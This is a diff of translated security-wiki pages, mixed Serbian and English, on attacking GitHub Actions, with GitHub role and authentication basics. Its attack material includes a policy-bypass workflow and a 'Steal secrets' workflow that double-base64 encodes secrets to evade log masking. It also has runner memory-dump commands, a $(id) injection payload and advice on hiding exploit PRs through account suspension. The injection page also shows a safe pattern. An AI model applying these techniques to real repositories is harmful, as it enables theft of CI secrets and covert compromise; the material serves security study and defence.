Cache se održava između **wokflow runs in the same branch**. To znači da ako attacker **compromise** paket koji se potom skladišti u cache i bude **downloaded** i izvršen od strane **more privileged** workflow, on će moći i da **compromise** i taj workflow.
{{#ref}}
gh-actions-cache-poisoning.md
{{#endref}}
### Trovanje Artefaktima
### Artifact Poisoning
Radni tokovi mogu koristiti **artefakte iz drugih radnih tokova i čak repozitorijuma**, ako napadač uspe da **kompromituje** Github Akciju koja **otprema artefakt** koji se kasnije koristi od strane drugog radnog toka, on bi mogao da **kompromituje druge radne tokove**:
Workflows mogu koristiti **artifacts from other workflows and even repos**; ako attacker uspe da **compromise** Github Action koja **uploads an artifact** koja se kasnije koristi u drugom workflow-u, on bi mogao **compromise the other workflows**:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -426,11 +429,36 @@ gh-actions-artifact-poisoning.md
---
## Post Eksploatacija iz Akcije
## Post Exploitation from an Action
### Pristupanje AWS i GCP putem OIDC
### Github Action Policies Bypass
Proverite sledeće stranice:
Kao što je objašnjeno u [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), čak i ako repozitorijum ili organizacija ima politiku koja ograničava upotrebu određenih actions, attacker može jednostavno da download-uje (`git clone`) action unutar workflow-a i potom ga referencira kao local action. Pošto politike ne utiču na lokalne puteve, **the action will be executed without any restriction.**
Primer:
```yaml
on: [push, pull_request]
jobs:
test:
runs-on: ubuntu-latest
steps:
- run: |
mkdir -p ./tmp
git clone https://github.com/actions/checkout.git ./tmp/checkout
- uses: ./tmp/checkout
with:
repository: woodruffw/gha-hazmat
path: gha-hazmat
- run: ls && pwd
- run: ls tmp/checkout
```
### Pristup AWS i GCP preko OIDC
Pogledajte sledeće stranice:
{{#ref}}
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -440,15 +468,15 @@ Proverite sledeće stranice:
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}
### Pristupanje tajnama <a href="#accessing-secrets" id="accessing-secrets"></a>
### Pristup secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
Ako ubacujete sadržaj u skriptu, zanimljivo je znati kako možete pristupiti tajnama:
Ako ubacujete sadržaj u skriptu, interesantno je znati kako možete pristupiti secrets:
- Ako je tajna ili token postavljen na **promenljivu okruženja**, može se direktno pristupiti kroz okruženje koristeći **`printenv`**.
- Ako je secret ili token postavljen kao **environment variable**, njima se može direktno pristupiti kroz okruženje koristeći **`printenv`**.
<details>
<summary>Lista tajni u izlazu Github Akcije</summary>
<summary>Ispis secrets u Github Action output</summary>
```yaml
name: list_env
on:
@@ -475,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
<details>
<summary>Dobijanje reverzne ljuske sa tajnama</summary>
<summary>Dobijte reverse shell pomoću secrets</summary>
```yaml
name: revshell
on:
@@ -498,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
- Ako se tajna koristi **direktno u izrazu**, generisani shell skript se čuva **na disku** i može se pristupiti.
- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
- ```bash
cat /home/runner/work/_temp/*
```
- Za JavaScript akcije, tajne se šalju kroz promenljive okruženja.
- For a JavaScript actions the secrets and sent through environment variables
- ```bash
ps axe | grep node
```
- Za **prilagođenu akciju**, rizik može varirati u zavisnosti od toga kako program koristi tajnu koju je dobio iz **argumenta**:
- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
```yaml
uses: fakeaction/publish@v3
@@ -514,23 +542,47 @@ with:
key: ${{ secrets.PUBLISH_KEY }}
```
### Zloupotreba samostalno hostovanih izvršilaca
- Enumerate all secrets via the secrets context (collaborator level). A contributor with write access can modify a workflow on any branch to dump all repository/org/environment secrets. Use double base64 to evade GitHubs log masking and decode locally:
Način da se pronađe koje **Github akcije se izvršavaju u ne-github infrastrukturi** je pretraga za **`runs-on: self-hosted`** u konfiguraciji yaml za Github akcije.
```yaml
name: Steal secrets
on:
push:
branches: [ attacker-branch ]
jobs:
dump:
runs-on: ubuntu-latest
steps:
- name: Double-base64 the secrets context
run: |
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
```
**Samostalno hostovani** izvršioci mogu imati pristup **dodatnim osetljivim informacijama**, drugim **mrežnim sistemima** (ranjivi krajnji tački u mreži? usluga metapodataka?) ili, čak i ako je izolovan i uništen, **više od jedne akcije može biti pokrenuto u isto vreme** i zlonamerna može **ukrasti tajne** od druge.
Decode locally:
U samostalno hostovanim izvršiocima takođe je moguće dobiti **tajne iz \_Runner.Listener**\_\*\* procesa\*\* koji će sadržati sve tajne radnih tokova u bilo kojoj fazi dumpovanjem svoje memorije:
```bash
echo "ZXdv...Zz09" | base64 -d | base64 -d
```
Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).
### Abusing Self-hosted runners
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
Proverite [**ovaj post za više informacija**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
Pogledajte [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
### Github Docker Images Registry
### Github Docker Images Registar
Moguće je napraviti Github akcije koje će **izgraditi i sačuvati Docker sliku unutar Github-a**.\
Primer se može naći u sledećem proširivom:
Moguće je napraviti Github actions koji će **izgraditi i sačuvati Docker image unutar Github-a**.\
Primer se može naći u sledećem proširivom bloku:
<details>
@@ -565,14 +617,14 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
```
</details>
Kao što ste mogli videti u prethodnom kodu, Github registry je hostovan na **`ghcr.io`**.
Kao što možete videti u prethodnom kodu, Github registry je hostovan na **`ghcr.io`**.
Korisnik sa dozvolama za čitanje nad repozitorijumom će moći da preuzme Docker sliku koristeći lični pristupni token:
Korisnik sa dozvolama za čitanje nad repozitorijumom moći će da preuzme Docker Image koristeći personal access token:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
```
Zatim, korisnik može da traži **procurene tajne u slojevima Docker slike:**
Zatim, korisnik može pretražiti za **leaked secrets in the Docker image layers:**
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
@@ -580,15 +632,17 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
### Osetljive informacije u Github Actions logovima
Čak i ako **Github** pokušava da **otkrije tajne vrednosti** u logovima akcija i **izbegne da ih prikaže**, **dati osetljivi podaci** koji su mogli biti generisani tokom izvršenja akcije neće biti sakriveni. Na primer, JWT potpisan tajnom vrednošću neće biti sakriven osim ako nije [specifično konfigurisano](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
Čak i ako **Github** pokuša **detektovati secret values** u logovima akcija i **sprečiti njihovo prikazivanje**, **drugi osetljivi podaci** koji su mogli biti generisani tokom izvršavanja akcije neće biti sakriveni. Na primer, JWT potpisan tajnom vrednošću neće biti sakriven osim ako nije [specifično konfigurisano](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
## Sakrivanje tragova
(Tehnika iz [**ovde**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prvo, svaki PR koji je podnet je jasno vidljiv javnosti na Github-u i ciljanom GitHub nalogu. Na GitHub-u po defaultu, **ne možemo obrisati PR sa interneta**, ali postoji caka. Za GitHub naloge koji su **suspendovani** od strane GitHub-a, svi njihovi **PR-ovi se automatski brišu** i uklanjaju sa interneta. Dakle, da biste sakrili svoju aktivnost, potrebno je da ili dobijete **suspendovan GitHub nalog ili da vam nalog bude označen**. Ovo bi **sakrilo sve vaše aktivnosti** na GitHub-u sa interneta (u suštini uklonilo sve vaše exploit PR-ove)
Organizacija na GitHub-u je veoma proaktivna u izveštavanju naloga GitHub-u. Sve što treba da uradite je da podelite "neke stvari" u Issue i oni će se pobrinuti da vaš nalog bude suspendovan za 12 sati :p i eto, učinili ste svoj exploit nevidljivim na github-u.
(Tehnika iz [**ovde**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prvo, svaki PR koji se podigne je jasno vidljiv javnosti na Github i ciljnom GitHub nalogu. Na GitHub-u po defaultu, mi **ne možemo izbrisati PR sa interneta**, ali postoji trik. Za Github naloge koji su **suspendovani** od strane Github-a, svi njihovi **PRs are automatically deleted** i uklanjaju se sa interneta. Dakle, da biste sakrili svoju aktivnost morate ili da vam se **GitHub account suspenduje ili da vam nalog bude flagged**. To bi **sakrilo sve vaše aktivnosti** na GitHub-u sa interneta (u suštini uklonilo sve vaše exploit PR)
> [!WARNING]
> Jedini način na koji organizacija može da sazna da su bili meta je da proveri GitHub logove iz SIEM-a, jer bi iz GitHub UI PR bio uklonjen.
> Jedini način da organizacija otkrije da je bila meta je da pregleda GitHub logove iz SIEM-a jer će iz GitHub UI PR biti uklonjen.
## References
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,3 +1,96 @@
# Gh Actions - Context Script Injections
{{#include ../../../banners/hacktricks-training.md}}
## Razumevanje rizika
GitHub Actions renderuje izraze ${{ ... }} pre nego što se korak izvrši. Renderovana vrednost se zalepi u program koraka (za run korake, shell skripta). Ako interpolirate nepouzdani ulaz direktno unutar run:, napadač kontroliše deo shell programa i može izvršavati proizvoljne komande.
Dokumentacija: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions i contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
Ključne tačke:
- Renderovanje se događa pre izvršenja. Run skripta se generiše sa svim razrešenim izrazima, pa se potom izvršava kroz shell.
- Mnogi contexts sadrže polja koja korisnik kontroliše u zavisnosti od događaja koji pokreće workflow (issues, PRs, comments, discussions, forks, stars, itd.). Pogledajte referencu za untrusted input: https://securitylab.github.com/resources/github-actions-untrusted-input/
- Shell quoting unutar run: nije pouzdana odbrana, jer se injekcija dešava u fazi renderovanja templata. Napadači mogu probiti navodnike ili ubaciti operatore putem specijalno oblikovanog ulaza.
## Ranljiv obrazac → RCE na runneru
Ranljiv workflow (pokreće se kada neko otvori novi issue):
```yaml
name: New Issue Created
on:
issues:
types: [opened]
jobs:
deploy:
runs-on: ubuntu-latest
permissions:
issues: write
steps:
- name: New issue
run: |
echo "New issue ${{ github.event.issue.title }} created"
- name: Add "new" label to issue
uses: actions-ecosystem/action-add-labels@v1
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
labels: new
```
Ako napadač otvori issue naslovljen $(id), renderovani step postaje:
```sh
echo "New issue $(id) created"
```
Command substitution izvršava id na runneru. Primer izlaza:
```
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
```
Zašto citiranje ne štiti:
- Izrazi se prvo evaluiraju, a zatim se izvršava dobijeni skript. Ako nepouzdana vrednost sadrži $(...), `;`, `"`/`'`, ili novi redovi, može izmeniti strukturu programa uprkos vašem citiranju.
## Siguran obrazac (shell variables via env)
Ispravno rešenje: kopirajte nepouzdani unos u environment variable, zatim koristite native shell expansion ($VAR) u run skripti. Ne ponovo ugrađujte sa ${{ ... }} unutar komande.
```yaml
# safe
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: New issue
env:
TITLE: ${{ github.event.issue.title }}
run: |
echo "New issue $TITLE created"
```
Notes:
- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
## Površine koje korisnik može pokrenuti (smatrati nepouzdanim)
Nalozi koji imaju samo dozvolu za čitanje na javnim repozitorijumima i dalje mogu pokrenuti mnogo događaja. Svako polje u kontekstima izvedenim iz ovih događaja treba smatrati pod kontrolom napadača osim ako se ne dokaže suprotno. Primeri:
- issues, issue_comment
- discussion, discussion_comment (orgs mogu ograničiti discussions)
- pull_request, pull_request_review, pull_request_review_comment
- pull_request_target (opasno ako se pogrešno koristi, pokreće se u kontekstu base repo)
- fork (bilo ko može fork-ovati javne repozitorijume)
- watch (starring a repo)
- Indirektno preko workflow_run/workflow_call lanaca
Koja tačno polja su pod kontrolom napadača zavisi od događaja. Pogledajte GitHub Security Labs untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
## Praktični saveti
- Smanjite korišćenje expressions unutar run:. Preferirajte env: mapiranje + $VAR.
- Ako morate transformisati ulaz, uradite to u shellu koristeći bezbedne alate (printf %q, jq -r, itd.), i dalje polazeći od shell promenljive.
- Budite posebno oprezni pri interpolaciji imena grana, naslova PR-a, korisničkih imena, labela, naslova diskusija i PR head refs u skripte, argumente komandne linije ili putanje fajlova.
- Za reusable workflows i composite actions primenite isti obrazac: mapirajte u env pa referencirajte $VAR.
## References
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,156 +1,156 @@
# Osnovne informacije o Github-u
# Osnovne informacije o Github
{{#include ../../banners/hacktricks-training.md}}
## Osnovna struktura
## Basic Structure
Osnovna struktura github okruženja velike **kompanije** je da poseduje **preduzeće** koje poseduje **several organizacija** i svaka od njih može sadržati **several repozitorijuma** i **several timova**. Manje kompanije mogu samo **posedovati jednu organizaciju i bez preduzeća**.
Osnovna struktura Github okruženja velike **kompanije** je da poseduje jedno **enterprise** koje poseduje **nekoliko organizations** i svaka od njih može sadržati **nekoliko repositories** i **nekoliko teams.** Manje kompanije mogu imati samo **jednu organization i bez enterprises**.
Sa tačke gledišta korisnika, **korisnik** može biti **član** **različitih preduzeća i organizacija**. Unutar njih korisnik može imati **različite uloge u preduzeću, organizaciji i repozitorijumu**.
Iz ugla korisnika, jedan **user** može biti **member** različitih enterprises i organizations. Unutar njih korisnik može imati **različite enterprise, organization i repository role**.
Štaviše, korisnik može biti **deo različitih timova** sa različitim ulogama u preduzeću, organizaciji ili repozitorijumu.
Pored toga, korisnik može biti **deo različitih teams** sa različitim enterprise, organization ili repository rolama.
I konačno, **repozitorijumi mogu imati posebne mehanizme zaštite**.
I na kraju, **repositories mogu imati specijalne mehanizme zaštite**.
## Privilegije
## Privileges
### Uloge u preduzeću
### Enterprise Roles
- **Vlasnik preduzeća**: Osobe sa ovom ulogom mogu **upravljati administratorima, upravljati organizacijama unutar preduzeća, upravljati postavkama preduzeća, sprovoditi politiku širom organizacija**. Međutim, **ne mogu pristupiti postavkama organizacije ili sadržaju** osim ako nisu postavljeni za vlasnika organizacije ili im nije dat direktan pristup repozitorijumu koji poseduje organizacija.
- **Članovi preduzeća**: Članovi organizacija koje poseduje vaše preduzeće su takođe **automatski članovi preduzeća**.
- **Enterprise owner**: Osobe sa ovom ulogom mogu **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. Međutim, oni **ne mogu pristupiti organization settings ili content** osim ako nisu postavljeni kao organization owner ili im nije dat direktan pristup repository u vlasništvu organization.
- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
### Uloge u organizaciji
### Organization Roles
U organizaciji korisnici mogu imati različite uloge:
U jednoj organization korisnici mogu imati različite uloge:
- **Vlasnici organizacije**: Vlasnici organizacije imaju **potpun pristup administraciji vaše organizacije**. Ova uloga bi trebala biti ograničena, ali ne na manje od dve osobe, u vašoj organizaciji.
- **Članovi organizacije**: **Podrazumevana**, ne-administrativna uloga za **ljude u organizaciji** je član organizacije. Po defaultu, članovi organizacije **imaju određeni broj dozvola**.
- **Menadžeri naplate**: Menadžeri naplate su korisnici koji mogu **upravljati postavkama naplate za vašu organizaciju**, kao što su informacije o plaćanju.
- **Menadžeri bezbednosti**: To je uloga koju vlasnici organizacije mogu dodeliti bilo kojem timu u organizaciji. Kada se primeni, daje svakom članu tima dozvole da **upravljaju bezbednosnim upozorenjima i postavkama širom vaše organizacije, kao i dozvole za čitanje za sve repozitorijume** u organizaciji.
- Ako vaša organizacija ima tim za bezbednost, možete koristiti ulogu menadžera bezbednosti da članovima tima date minimalan pristup koji im je potreban za organizaciju.
- **Menadžeri Github aplikacija**: Da bi omogućili dodatnim korisnicima da **upravljaju GitHub aplikacijama koje poseduje organizacija**, vlasnik može dodeliti dozvole menadžera GitHub aplikacija.
- **Spoljni saradnici**: Spoljni saradnik je osoba koja ima **pristup jednom ili više repozitorijuma organizacije, ali nije eksplicitno član** organizacije.
- **Organization owners**: Organization owners imaju **complete administrative access to your organization**. Ovu ulogu treba ograničiti, ali ne na manje od dve osobe u vašoj organization.
- **Organization members**: **Default**, ne-administrativna uloga za **ljude u organization** je organization member. Po default-u, organization members **have a number of permissions**.
- **Billing managers**: Billing managers su korisnici koji mogu **manage the billing settings for your organization**, kao što su informacije o plaćanju.
- **Security Managers**: Ovo je uloga koju organization owners mogu dodeliti bilo kojem timu u organization. Kada se primeni, daje svakom članu tima dozvole da **manage security alerts and settings across your organization, as well as read permissions for all repositories** u organization.
- Ako vaša organization ima security team, možete koristiti security manager ulogu da članovima tima date najmanje privilegije koje su im potrebne u organization.
- **Github App managers**: Da bi dodatni korisnici mogli **manage GitHub Apps owned by an organization**, owner im može dodeliti Github App manager permissions.
- **Outside collaborators**: Outside collaborator je osoba koja ima **access to one or more organization repositories but is not explicitly a member** of the organization.
Možete **uporediti dozvole** ovih uloga u ovoj tabeli: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
Možete **compare the permissions** ovih uloga u ovoj tabeli: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
### Privilegije članova
### Members Privileges
Na _https://github.com/organizations/\<org_name>/settings/member_privileges_ možete videti **dozvole koje korisnici imaju samo zato što su deo organizacije**.
U _https://github.com/organizations/\<org_name>/settings/member_privileges_ možete videti **permissions koje korisnici imaju samo zato što su deo organization**.
Postavke ovde konfigurirane će ukazivati na sledeće dozvole članova organizacije:
Podešavanja ovde će odrediti sledeće dozvole članova organization:
- Biti administrator, pisac, čitalac ili bez dozvole nad svim repozitorijumima organizacije.
- Ako članovi mogu kreirati privatne, interne ili javne repozitorijume.
- Ako je moguće fork-ovati repozitorijume.
- Ako je moguće pozvati spoljne saradnike.
- Ako se mogu objaviti javne ili privatne stranice.
- Dozvole koje administratori imaju nad repozitorijumima.
- Ako članovi mogu kreirati nove timove.
- Biti admin, writer, reader ili bez dozvole nad svim organization repos.
- Da li članovi mogu kreirati private, internal ili public repositories.
- Da li je forking repositories moguć
- Da li je moguće pozivati outside collaborators
- Da li se public ili private sites mogu objavljivati
- Dozvole koje admins imaju nad repositories
- Da li članovi mogu kreirati nove teams
### Uloge u repozitorijumu
### Repository Roles
Po defaultu, uloge u repozitorijumu su kreirane:
Po default-u repository role su kreirane:
- **Čitanje**: Preporučuje se za **ne-kodere** koji žele da pregledaju ili diskutuju o vašem projektu.
- **Triage**: Preporučuje se za **kontributore koji treba proaktivno da upravljaju problemima i pull zahtevima** bez pristupa pisanju.
- **Pisanje**: Preporučuje se za kontributore koji **aktivno doprinose vašem projektu**.
- **Održavanje**: Preporučuje se za **menadžere projekata koji treba da upravljaju repozitorijumom** bez pristupa osetljivim ili destruktivnim radnjama.
- **Administrator**: Preporučuje se za ljude koji trebaju **potpun pristup projektu**, uključujući osetljive i destruktivne radnje kao što su upravljanje bezbednošću ili brisanje repozitorijuma.
- **Read**: Preporučeno za **non-code contributors** koji žele da pregledaju ili diskutuju projekat
- **Triage**: Preporučeno za **contributors koji treba da proaktivno upravljaju issues i pull requests** bez write pristupa
- **Write**: Preporučeno za contributors koji **aktivno push-uju u projekt**
- **Maintain**: Preporučeno za **project managers koji treba da upravljaju repository** bez pristupa osetljivim ili destruktivnim akcijama
- **Admin**: Preporučeno za ljude kojima treba **full access to the project**, uključujući osetljive i destruktivne akcije kao što su upravljanje bezbednošću ili brisanje repository
Možete **uporediti dozvole** svake uloge u ovoj tabeli [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
Možete **compare the permissions** svake role u ovoj tabeli [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
Takođe možete **kreirati svoje uloge** na _https://github.com/organizations/\<org_name>/settings/roles_
Takođe možete **create your own roles** u _https://github.com/organizations/\<org_name>/settings/roles_
### Timovi
### Teams
Možete **navesti timove kreirane u organizaciji** na _https://github.com/orgs/\<org_name>/teams_. Imajte na umu da da biste videli timove koji su deca drugih timova, morate pristupiti svakom roditeljskom timu.
Možete **list the teams created in an organization** u _https://github.com/orgs/\<org_name>/teams_. Imajte na umu da da biste videli teams koji su children drugih teams morate pristupiti svakom parent team-u.
### Korisnici
### Users
Korisnici organizacije mogu biti **navedeni** na _https://github.com/orgs/\<org_name>/people._
Korisnici jedne organization mogu biti **listed** u _https://github.com/orgs/\<org_name>/people._
U informacijama o svakom korisniku možete videti **timove čiji je korisnik član**, i **repozitorijume kojima korisnik ima pristup**.
U informacijama o svakom user-u možete videti **teams the user is member of**, i **repos the user has access to**.
## Github autentifikacija
## Github Authentication
Github nudi različite načine za autentifikaciju na vašem nalogu i obavljanje radnji u vaše ime.
Github nudi različite načine da se autentifikujete na vaš account i izvršavate akcije u vaše ime.
### Web pristup
### Web Access
Pristupajući **github.com**, možete se prijaviti koristeći svoje **korisničko ime i lozinku** (i **2FA potencijalno**).
Pristupanjem **github.com** možete se prijaviti koristeći **username and password** (i eventualno **2FA**).
### **SSH ključevi**
### **SSH Keys**
Možete konfigurisati svoj nalog sa jednim ili više javnih ključeva koji omogućavaju povezani **privatni ključ da obavlja radnje u vaše ime.** [https://github.com/settings/keys](https://github.com/settings/keys)
Možete konfigurisati vaš account sa jednim ili više public keys koje omogućavaju odgovarajućem **private key da izvršava akcije u vaše ime.** [https://github.com/settings/keys](https://github.com/settings/keys)
#### **GPG ključevi**
#### **GPG Keys**
Ne možete **imiti korisnika sa ovim ključevima**, ali ako ih ne koristite, može biti moguće da **budete otkriveni zbog slanja commit-a bez potpisa**. Saznajte više o [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
Ne možete **impersonate the user with these keys** ali ako ih ne koristite može se dogoditi da budete otkriveni za slanje commits bez potpisa. Saznajte više o [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
### **Lični pristupni tokeni**
### **Personal Access Tokens**
Možete generisati lični pristupni token da **dajte aplikaciji pristup vašem nalogu**. Kada kreirate lični pristupni token, **korisnik** treba da **navede** **dozvole** koje **token** će imati. [https://github.com/settings/tokens](https://github.com/settings/tokens)
Možete generisati personal access token da **date aplikaciji pristup vašem account-u**. Prilikom kreiranja personal access token korisnik treba da **specify** **permissions** koje će token imati. [https://github.com/settings/tokens](https://github.com/settings/tokens)
### Oauth aplikacije
### Oauth Applications
Oauth aplikacije mogu vas pitati za dozvole **da pristupite delu vaših github informacija ili da imitirate vas** da obavite neke radnje. Uobičajen primer ove funkcionalnosti je **dugme prijave sa github-om** koje možete pronaći na nekim platformama.
Oauth applications mogu tražiti dozvole **to access part of your github information or to impersonate you** da izvrše neke akcije. Uobičajen primer ove funkcionalnosti je dugme **login with github** koje možete naći na nekim platformama.
- Možete **kreirati** svoje **Oauth aplikacije** na [https://github.com/settings/developers](https://github.com/settings/developers)
- Možete videti sve **Oauth aplikacije koje imaju pristup vašem nalogu** na [https://github.com/settings/applications](https://github.com/settings/applications)
- Možete videti **opsege koje Oauth aplikacije mogu tražiti** na [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
- Možete videti pristup trećih strana aplikacija u **organizaciji** na _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
- Možete **create** vaše **Oauth applications** u [https://github.com/settings/developers](https://github.com/settings/developers)
- Možete videti sve **Oauth applications that has access to your account** u [https://github.com/settings/applications](https://github.com/settings/applications)
- Možete videti **scopes that Oauth Apps can ask for** u [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
- Možete videti third party access aplikacija u jednoj **organization** na _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
Neke **preporuke za bezbednost**:
- **OAuth aplikacija** uvek treba da **deluje kao autentifikovani GitHub korisnik širom celog GitHub-a** (na primer, kada pruža obaveštenja korisnicima) i sa pristupom samo do specificiranih opsega.
- Oauth aplikacija može se koristiti kao provajder identiteta omogućavanjem "Prijava sa GitHub-om" za autentifikovanog korisnika.
- **Nemojte** praviti **OAuth aplikaciju** ako želite da vaša aplikacija deluje na **jednom repozitorijumu**. Sa `repo` Oauth opsegom, Oauth aplikacije mogu **delovati na _svim_** repozitorijumima autentifikovanog korisnika.
- **Nemojte** praviti Oauth aplikaciju da deluje kao aplikacija za vaš **tim ili kompaniju**. Oauth aplikacije se autentifikuju kao **jedan korisnik**, tako da ako jedna osoba kreira Oauth aplikaciju za korišćenje u kompaniji, a zatim napusti kompaniju, niko drugi neće imati pristup.
- **Više** ovde [more](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
- An **OAuth App** bi uvek trebalo da **act as the authenticated GitHub user across all of GitHub** (na primer, kada obezbeđuje korisnička obaveštenja) i sa pristupom samo specificiranim scopes..
- An OAuth App može biti korišćen kao identity provider omogućavajući "Login with GitHub" za autentifikovanog korisnika.
- **Don't** pravite **OAuth App** ako želite da vaša aplikacija deluje samo na **single repository**. Sa `repo` OAuth scope-om, OAuth Apps mogu **act on _all**_ of the authenticated user's repositories.
- **Don't** pravite OAuth App da predstavlja aplikaciju za vaš **team or company**. OAuth Apps autentifikuju kao **single user**, tako da ako jedna osoba kreira OAuth App za kompaniju i zatim napusti kompaniju, niko drugi neće imati pristup.
- **More** u [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
### Github aplikacije
### Github Applications
Github aplikacije mogu tražiti dozvole da **pristupite vašim github informacijama ili da imitirate vas** da obavite specifične radnje nad specifičnim resursima. U Github aplikacijama morate navesti repozitorijume kojima će aplikacija imati pristup.
Github applications mogu tražiti dozvole da **access your github information or impersonate you** kako bi izvršile specifične akcije nad specifičnim resursima. U Github Apps morate specificirati repositories kojima će app imati pristup.
- Da biste instalirali GitHub aplikaciju, morate biti **vlasnik organizacije ili imati administratorske dozvole** u repozitorijumu.
- GitHub aplikacija treba da **poveže sa ličnim nalogom ili organizacijom**.
- Možete kreirati svoju Github aplikaciju na [https://github.com/settings/apps](https://github.com/settings/apps)
- Možete videti sve **Github aplikacije koje imaju pristup vašem nalogu** na [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
- Ovo su **API krajnje tačke za Github aplikacije** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). U zavisnosti od dozvola aplikacije, moći će da pristupi nekim od njih.
- Možete videti instalirane aplikacije u **organizaciji** na _https://github.com/organizations/\<org_name>/settings/installations_
- Da biste instalirali GitHub App, morate biti **organisation owner or have admin permissions** u repository.
- GitHub App treba da **connect to a personal account or an organisation**.
- Možete kreirati sopstvenu Github application u [https://github.com/settings/apps](https://github.com/settings/apps)
- Možete videti sve **Github applications that has access to your account** u [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
- Ovo su **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). U zavisnosti od permissions App će moći da pristupi nekima od njih
- Možete videti instalirane apps u jednoj **organization** na _https://github.com/organizations/\<org_name>/settings/installations_
Neke preporuke za bezbednost:
